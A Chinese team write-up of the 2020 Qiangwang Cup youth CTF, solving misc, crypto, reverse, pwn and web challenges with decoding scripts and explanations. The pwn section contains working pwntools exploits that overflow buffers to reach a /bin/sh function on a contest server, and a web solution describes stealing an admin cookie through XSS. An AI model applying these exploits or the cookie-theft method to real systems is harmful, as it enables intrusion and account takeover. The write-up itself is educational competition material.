2020年 强网杯青少年组 WriteUp
本次专项线上赛,我们的小队获得了第一名的优异成绩
以下为这次比赛的WriteUp
下载是一个 xml 文件,打开查看
开头有一个网址,上网查看,进入发现是一个可视化编程网站,可以将该 xml 文件导入
查看程序逻辑,点击旗子后如果接收到敲击空格,就执行 startbanner,再执行 startcrackme
后面有一个函数,返回 a,b 的异或值。调用的时候将 key 数组里的值与 33 异或返回,然后将数组与回答的 test 对比
1#python2
2a=[71,77,64,70,90,86,18,77,16,98,17,76,18,126,97,79,69,126,102,17,17,69,126,77,116,66,74,0,92]
3flag=''
4for i in a:
5 flag+=chr(i^33)
6
7print flag
flag 值:
flag{w3l1C0m3@ndG00d_lUck!}
easy_pcap
解法一:
Wireshark打开,追踪tcp流,然后发现这个
将这个文件名进行base64解码
fake flag证明思路正确,继续翻找就有答案了
解法二:
用 wireshark 装载,追踪 TCP 流,然而什么也没有发现
然后在终端用strings命令
发现可疑的文件名
疑似 base64 密文
使用 chrome 自带的 console 解密
得到
flag%7B1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome%7D
使用 HackBar 的 urldecode 再解一次得到 flag
flag{1'm_H4cK_V1si7_Y0uR_CoMputer_aweSome}
这题,怎么说呢?混淆视听?
这个就略了,咕咕咕咕咕
jpg文件格式隐写,stegsovle看图层无果;
stegdetect探测定位为jphide,使用stegbreak爆破top6000无果
猜测题目标题为弱口令,经数次大小写转换下划线位置横移,得到jphide密码字段
即为题目luotianyi,使用steghide工具导出flag文件。
即可得到flag
flag{8dfe88db-0def-4873-9f17-f9c46bd571b6}
从题⽬的图⽚中⽤binwalk分离出来⼀个zip⽂件,密码123456(弱⼝令猜出来的= =) 得到压缩包中的txt⽂档,发现⾥⾯有Tab和空格构成的内容,猜测是snow隐写,但是⼀直没 有找到密钥,在这⾥卡了⼀晚上。根据hint给的java盲⽔印,然后在github上找到⼀个项⽬https://github.com/ww23/BlindWat ermark ⽤这个项⽬解出盲⽔印,得到密钥:
snow隐写,密钥为PasS@wo_rd_here
在http://fog.misty.com/perry/ccs/snow/snow/snow.html解密得到Flag:
flag{too1s_is_the_key_of_misc}
MOSS
普通的莫斯密码,使用在线网站解密,再手动改成小写
flag{mossisveryf4nty}
先把第一个txt文件中原数据那一行正常base64加密然后与txt文件中加密的数据换表,解出flag 。然后当时是少了一位没办法换表,python报错,随便加了字母 然后看着像base64isfantasitic 自己打一遍,提交,正确
1import base64
2import string
3
4st1 = "eFrAe3nNdcyEyCWkxcykZtMkWCWoiRP1iRECkV=="
5
6w1 = "h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5nn"
7w2 = "c2FkaGxrajEyMmkzdXBvaTIxMzQ1NmFBQlNBREhLSkhMS0pTQURTQURKTEtIVU9JUFFXVUVZVUdISjEyMzQ1Njc4OTAxMjIzMzE2NTQxMDEyMzEyMzQ1Njc4OTEyMzcwOTg2NGhqa2xoZmpsZHNuZnprcGlkanNrbGprYW14Y3ZtYmN4YW12Ym5tt"#这里添加了一个t
8
9print(base64.b64decode(st1.translate(str.maketrans(w1,w2))))
flag{Mase64d1sdS0dF4nta5tic}
和 feistel 类似的一个加密,和加密算法反着来就行
1、newR 和 K 反推 L
2、newL 和 L 反推 R
1from Crypto.Util.number import *
2from Crypto.Util.strxor import strxor
3from base64 import *
4import os
5
6def antif(M,K):
7 M=list(M)
8 MM=''
9 Pe = [14,7,9,1,10,3,2,15,0,13,6,11,12,4,8,5]
10 for i in range(16):
11 tmp=ord(M[i])
12 for j in range(0xfff):#
13 if(((j>>4)^j)==tmp):
14 MM+=chr(j)
15 break
16 MMM=(strxor(MM,K))
17 M=['a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a']
18 for i in range(16):
19 M[Pe[i]]=MMM[i]
20 MM=''
21 for i in range(16):
22 MM+=(M[i])
23 return MM
24def antiround(M,K):
25 newL = M[0:16]
26 newR = M[16:32]
27 L = antif(newR,K)
28 R = strxor(L,newL)
29 return L+R
30
31k=['7DSxK8pIiYHBw/l8TfZ6Yg==',
32'5b+bhZHcc3CsrD2BHmXX1g==',
33'BYrL+bu+u0/Q5YWQxKcDMQ==',
34'2+wGyXJwwqcfl8fYro5jyQ==',
35'3pVPBqYEvMt/49NjPumFIQ==',
36'414yfF2s3nWdLcKSiRcMBQ==',
37'CUVTCsQKd43Otd4KYVHZuw==',
38'91t7nGUSvZ33puJqBgWFLQ==',
39'6O3JVfN22bjVsnG1Yw0GjQ==',
40'siQzksHj2vhJFbLPE0VrcA==']
41m='Q3OOwbVMEiIrnt5pEfLUE6LfiTdXjKaWoeVG0oN3c+Q='
42
43m=b64decode(m)
44for i in range(10):
45 m=antiround(m,b64decode(k[9-i]))
46print m
flag{4b5b6e66-0fcc-405a-97ca-0}
压缩包第一个猪圈密码,第二个 aaencode 猪圈出来了一个乱七八糟的东西,但是 aaencode 解出一个 alret 什么东西,但意思是说要用到 5。然后猪圈密码解出来的直接 w 栅栏密码 5
flag{cryptography_is_so_insteresting}
简单的异或,直接反过来
1flag=''
2key=[49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118, 123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85]
3for i in range(len(key)):
4 a=key[i]-(i+1)
5 a^=86
6 flag+=chr(a)
7print flag
flag{38af7b7c-d138-4662-b216-d60dc5e881ab}
加减乘除
checksec,能开的保护全开了
IDA 载入找到主程序
1__int64 __usercall sub_140A@(__int64 a1@)
2{
3 __int64 result; // rax
4 char v2; // [rsp-11h] [rbp-11h]
5 signed int v3; // [rsp-10h] [rbp-10h]
6 signed int v4; // [rsp-Ch] [rbp-Ch]
7 __int64 v5; // [rsp-8h] [rbp-8h]
8
9 __asm { endbr64 }
10 v5 = a1;
11 v3 = 0;
12 v4 = 0;
13 while ( 1 )
14 {
15 sub_1100("\x1B[0;0H\x1B[2J");
16 if ( v3 > 66 || v4 > 12 )
17 return sub_1100("Oh NO! passcode = %d \n");
18 if ( v3 == 66 )
19 break;
20 ++v4;
21 v2 = sub_1377("\x1B[0;0H\x1B[2J");
22 switch ( v2 )
23 {
24 case 97:
25 v3 = 3;
26 break;
27 case 98:
28 v3 += 4;
29 break;
30 case 99:
31 v3 *= 7;
32 break;
33 case 100:
34 v3 /= 5;
35 break;
36 }
37 }
38 sub_1100("\x1B[05m\x1B[41m");
39 sub_10D0("Yes! you WIN!");
40 result = (unsigned int)dword_40A0;
41 if ( dword_40A0 )
42 result = sub_1249();
43 return result;
44}
1、定义了四种运算
2、操作过程中数值不能超过 66
3、操作数不能大于 12
基于以上条件进行 dfs
1#include
2#include
3using namespace std;
4
5int path[14];
6void dfs(int sum,int floor){
7 if(floor>12||sum>66){
8 //printf("no%d\n",sum);
9 return;
10 }
11
12 if(sum==66){
13 printf("ok\n");
14 for(int i=0;i<14;i++){
15 printf("%d",path[i]);
16 }
17 return ;
18 }
19
20 path[floor]=1;
21 dfs(3,floor+1);
22 path[floor]=2;
23 dfs(sum+4,floor+1);
24 path[floor]=3;
25 dfs(sum*7,floor+1);
26 path[floor]=4;
27 dfs(sum/5,floor+1);
28}
29
30int main(){
31 dfs(0,0);
32 return 0;
33}
得到多种方法,随便选一种
想要 getshell 还要绕过检测
1if ( dword_40A0 )
2 result = sub_1249();
3 return result;
变量 dword_40A0 位于 bss 段,存储名字变量的下方
读入名字的时候没有限制长度,可以通过溢出覆盖 dword_40A0,绕过检测
读入长度应大于 0x40a0-0x4060
1#python2
2from pwn import *
3
4a='122423222222'
5
6#p=process('./pp')
7p=remote('182.92.184.215',12345)
8
9def do(str):
10 p.recvuntil('> ')
11 p.sendline(str)
12
13#p.recvuntil('Input your name to start: ')
14sleep(6)
15p.sendline('aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa')
16
17for i in range(len(a)):
18 if(a[i]=='1'):
19 do('a')
20 if(a[i]=='2'):
21 do('b')
22 if(a[i]=='3'):
23 do('c')
24 if(a[i]=='4'):
25 do('d')
26#p.recvuntil('Yes!')
27#p.sendline('cat flag')
28
29p.interactive()
flag{c2c1511be40ce8ede4e208f212659226}
checksec
IDA 载入分析,效果并不好,关键函数 getchar() 等未能识别出来
但是发现 shell 函数
1.text:0000000000401299 shell proc near
2.text:0000000000401299 ; __unwind {
3.text:0000000000401299 endbr64
4.text:000000000040129D push rbp
5.text:000000000040129E mov rbp, rsp
6.text:00000000004012A1 lea rdi, aBinSh ; "/bin/sh"
7.text:00000000004012A8 call sub_4010C0
8.text:00000000004012AD nop
9.text:00000000004012AE pop rbp
10.text:00000000004012AF retn
11.text:00000000004012AF ; } // starts at 401299
12.text:00000000004012AF shell endp
如果能劫持栈到该地址即可 getshell
使用 gdb 动态调试,探究程序逻辑
发现 getInput 函数调用 getchar 读取指定长度的字符串
然后调用 strcat 将三个字符串拼接,同时添加 ‘://’ 和 ‘/’
拼接目标地址的大小为 0x108,而三个输入的大小和只有(0x40+0x40+0x50)不足以溢出
审计 getInput 函数发现存在单字节溢出
可以绕过 strcat 的 \x00 截断将输入拼接在一起
构造
1pay1='a'*0x29
2pay2='a'*0x40
3pay3='a'*(0x50-4)+'\x99\x12\x40'
经过拼接后溢出覆盖函数返回地址 getshell
执行脚本得到 flag
1#python2
2from pwn import *
3
4#p=process('./pq')
5p=remote('182.92.184.215',34521)
6#p=gdb.debug('./pq')
7
8shell_addr=0x401299
9
10pay='a'*0x29
11p.recvuntil('(protocol): ')
12p.sendline(pay)
13p.recvuntil('(domain): ')
14pay='a'*0x40
15p.sendline(pay)
16p.recvuntil('(path): ')
17pay='a'*(0x50-4)+'\x99\x12\x40'
18p.sendline(pay)
19
20p.interactive()
flag{632baa372b06e64a5cc0b395fdb90fce}
vm算法分析
IDA 载入
shift+f12 找到关键字符串,跟进
得到关键伪代码
1//修改了变量名
2int sub_411610()
3{
4 HANDLE v0; // eax
5 size_t v1; // eax
6 char v3; // [esp+0h] [ebp-5Ch]
7 char v4; // [esp+0h] [ebp-5Ch]
8 signed int j; // [esp+4Ch] [ebp-10h]
9 void *lpBaseAddress; // [esp+54h] [ebp-8h]
10 unsigned int i; // [esp+58h] [ebp-4h]
11
12 sub_4111BD(&unk_419012);
13 for ( i = 0; i < 0x1C8; ++i )
14 byte_417000[i] ^= 0x25u;
15 sub_41103C("please input your flag:\n", v3);
16 gets_s(Str1, 0x40u);
17 lpBaseAddress = VirtualAlloc(0, 0x1000u, 0x1000u, 0x40u);
18 dword_417076 += lpBaseAddress;
19 for ( j = 0; j < 8; ++j )
20 dword_4171A8[j] += lpBaseAddress;
21 v0 = GetCurrentProcess();
22 WriteProcessMemory(v0, lpBaseAddress, byte_417000, 0x1C8u, 0);
23 (lpBaseAddress)(Str1, &unk_4171F8);
24 v1 = j_strlen(Str1);
25 if ( !strncmp(Str1, Str2, v1) )
26 sub_41103C("success!\n", v4);
27 else
28 sub_41103C("try again\n", v4);
29 system("pause");
30 return 0;
31}
1、从 417000 开始的 0x1c8 位,每位异或 0x25
2、输入 str1
3、用 VirtualAlloc 申请空间
4、将异或完的数据写入申请的空间
5、跳转到这个空间执行
6、最后对比 str1 和 str2
首先写脚本将异或后的函数 dump 出来
1a=[112, 174, 201, 164, 201, 141, 37, 37, 37, 118,
2 115, 114, 181, 181, 181, 181, 181, 181, 181, 181,
3 181, 181, 226, 96, 133, 37, 37, 37, 37, 226,
4 96, 129, 37, 37, 37, 37, 226, 96, 141, 37,
5 37, 37, 37, 226, 96, 137, 37, 37, 37, 37,
6 157, 36, 37, 37, 37, 160, 229, 42, 161, 122,
7 36, 37, 37, 174, 96, 41, 38, 96, 137, 42,
8 147, 45, 172, 168, 125, 218, 218, 218, 174, 176,
9 125, 218, 218, 218, 164, 207, 213, 37, 37, 37,
10 172, 176, 125, 218, 218, 218, 166, 152, 125, 218,
11 218, 218, 34, 42, 162, 9, 36, 37, 37, 174,
12 160, 125, 218, 218, 218, 218, 1, 160, 141, 36,
13 37, 37, 174, 96, 45, 38, 96, 129, 42, 147,
14 45, 164, 196, 218, 37, 37, 37, 174, 112, 141,
15 172, 105, 176, 149, 174, 96, 141, 166, 229, 36,
16 172, 96, 141, 174, 96, 137, 166, 229, 36, 172,
17 96, 137, 204, 215, 37, 37, 37, 174, 96, 141,
18 166, 205, 36, 172, 96, 141, 174, 96, 45, 38,
19 96, 129, 174, 104, 141, 175, 113, 168, 149, 173,
20 117, 218, 174, 96, 137, 166, 229, 36, 172, 96,
21 137, 204, 238, 37, 37, 37, 174, 96, 141, 166,
22 205, 36, 172, 96, 141, 174, 96, 141, 174, 105,
23 160, 149, 172, 104, 133, 174, 96, 137, 166, 229,
24 36, 172, 96, 137, 204, 143, 37, 37, 37, 174,
25 96, 41, 38, 96, 137, 42, 147, 109, 36, 38,
26 104, 133, 172, 104, 133, 174, 96, 137, 166, 229,
27 39, 172, 96, 137, 204, 169, 37, 37, 37, 174,
28 96, 141, 174, 105, 160, 137, 22, 104, 133, 174,
29 112, 141, 172, 105, 176, 137, 174, 96, 137, 166,
30 229, 36, 172, 96, 137, 206, 85, 174, 96, 129,
31 166, 229, 36, 172, 96, 129, 174, 96, 137, 166,
32 229, 36, 172, 96, 137, 206, 121, 174, 96, 141,
33 166, 89, 160, 137, 37, 81, 47, 174, 96, 141,
34 166, 89, 160, 137, 47, 80, 46, 174, 96, 137,
35 166, 229, 38, 172, 96, 137, 206, 44, 174, 96,
36 137, 166, 229, 36, 172, 96, 137, 206, 23, 226,
37 96, 185, 37, 37, 37, 37, 174, 96, 45, 38,
38 96, 185, 42, 155, 45, 160, 236, 81, 46, 174,
39 96, 185, 166, 229, 36, 172, 96, 185, 206, 205,
40 174, 96, 129, 30, 96, 185, 80, 33, 206, 43,
41 206, 34, 226, 96, 137, 37, 37, 37, 37, 204,
42 177, 219, 218, 218, 122, 123, 126, 174, 192, 120,
43 230, 37, 37, 37, 95, 37, 37, 37, 130, 37,
44 37, 37, 235, 37, 37, 37, 202, 37, 37, 37,
45 40, 36, 37, 37, 12, 36, 37, 37, 24, 36,
46 37, 37, 66, 36, 37, 37, 11, 12, 5, 19,
47 73, 87, 3, 91, 13, 12, 4, 10, 20, 75,
48 84, 82, 83, 31, 26, 84, 86, 86, 73, 76,
49 2, 91, 94, 72, 74, 83, 82, 4, 83, 84,
50 2, 92, 11, 3, 6, 2
51]
52#print a
53#python2
54for i in range(0x1c8):
55 a[i]^=0x25
56fw=open("seg","wb")
57for i in range(0x1c8):
58 fw.write(chr(a[i]))
然后 IDA 载入 dump 出来的 seg 分析
右键 create function+f5 得到函数
1//修改了变量名
2int __cdecl sub_0(int str1, int fx)
3{
4 int result; // eax
5 int i; // [esp+50h] [ebp-64h]
6 int v4; // [esp+54h] [ebp-60h]
7 int str_ptr; // [esp+58h] [ebp-5Ch]
8 int heap_ptr; // [esp+5Ch] [ebp-58h]
9 int fx_ptr; // [esp+60h] [ebp-54h]
10 int heap[20]; // [esp+64h] [ebp-50h]
11
12 v4 = 0;
13 str_ptr = 0;
14 heap_ptr = 0;
15 fx_ptr = 0;
16 while ( 2 )
17 {
18 switch ( *(fx_ptr + fx) )
19 {
20 case 0xF0u:
21 heap[heap_ptr++] = *(str_ptr + str1);
22 ++fx_ptr;
23 continue;
24 case 0xF1u:
25 *(str_ptr + str1 - 1) = heap[--heap_ptr];
26 ++fx_ptr;
27 continue;
28 case 0xF2u:
29 v4 = heap[--heap_ptr];
30 ++fx_ptr;
31 continue;
32 case 0xF3u:
33 v4 += *(fx_ptr + fx + 1);
34 fx_ptr += 2;
35 continue;
36 case 0xF4u:
37 *(&fx_ptr + heap_ptr) ^= v4;
38 ++fx_ptr;
39 continue;
40 case 0xF5u:
41 ++str_ptr;
42 ++fx_ptr;
43 continue;
44 case 0xF6u:
45 if ( *(&fx_ptr + heap_ptr) && *(&fx_ptr + heap_ptr) != 10 )
46 ++fx_ptr;
47 else
48 fx_ptr += 3;
49 continue;
50 case 0xF7u:
51 for ( i = 0; *(i + str1); ++i )
52 ;
53 result = str_ptr;
54 if ( str_ptr != i )
55 {
56 fx_ptr = 0;
57 continue;
58 }
59 return result;
60 default:
61 continue;
62 }
63 }
64}
对调用参数进行分析
可知该函数的逻辑大概是
1for(int i=0;i<len;i++){
2 str[i]=(str[i]+1)^str[i+1];
3}
反向推理出解密脚本,带入 str2
1#python2
2str2=[0x0B, 0x0C,
3 0x05, 0x13, 0x49, 0x57, 0x03, 0x5B, 0x0D, 0x0C, 0x04, 0x0A,
4 0x14, 0x4B, 0x54, 0x52, 0x53, 0x1F, 0x1A, 0x54, 0x56, 0x56,
5 0x49, 0x4C, 0x02, 0x5B, 0x5E, 0x48, 0x4A, 0x53, 0x52, 0x04,
6 0x53, 0x54, 0x02, 0x5C, 0x0B, 0x03, 0x06, 0x02, 0x45]
7str2=str2[::-1]
8flag='}'
9for i in range(len(str2)):
10 tmp=ord(flag[i])^str2[i]
11 flag+=chr(tmp-1)
12flag=flag[::-1]
13print flag
flag{5aa97418-e2a1-4a4c-ba9d-d6eb0ed91147}
签到
解法一:
直接f12往下翻,一个个body和script的看,然后找到flag{} 直接复制粘贴,正确
解法二:
burp进行抓包,即可看到flag
flag{ee20a7f2-454f-461c-80a6-b18681e6df02}
打开题目第一关提示要用get请求传参fruit=apple
进入下一关,阅读题目,题目要求用post请求,传入vegetable=potato
通过阅读题目,要加入x-forwarded-for头且为127.0.0.1
下一关,的
很亮, 问这么多人,怎样知道哪个是你,猜测ua头进行判断
获得flag,题目有个小坑,之前尝试复制全部,发现去掉感叹号才可以
flag{c6c88f84-26c0-4371-8b81-0fca678db251}
上来先直接测下xss双写试下
发现可以弹窗 确认存在xss,有弹窗出现,连上xss平台试试
提示直接写入刚才路径
之前打的次数多 然后打开
Cookie登录即获取flag
flag{63de06dc-05ba-48d7-a937-a984f0a9aea2}
发现!=考察点弱比较,传入a1和a2两个参数,加个数组“[]”可以传入不同值如图
即第一关通过 第二关同理
第二关通过 最后一关考到科学计数法,类比下
传入time=1e32 得到flag
flag{8c9ff883-a9b6-4831-ba49-940b973df616}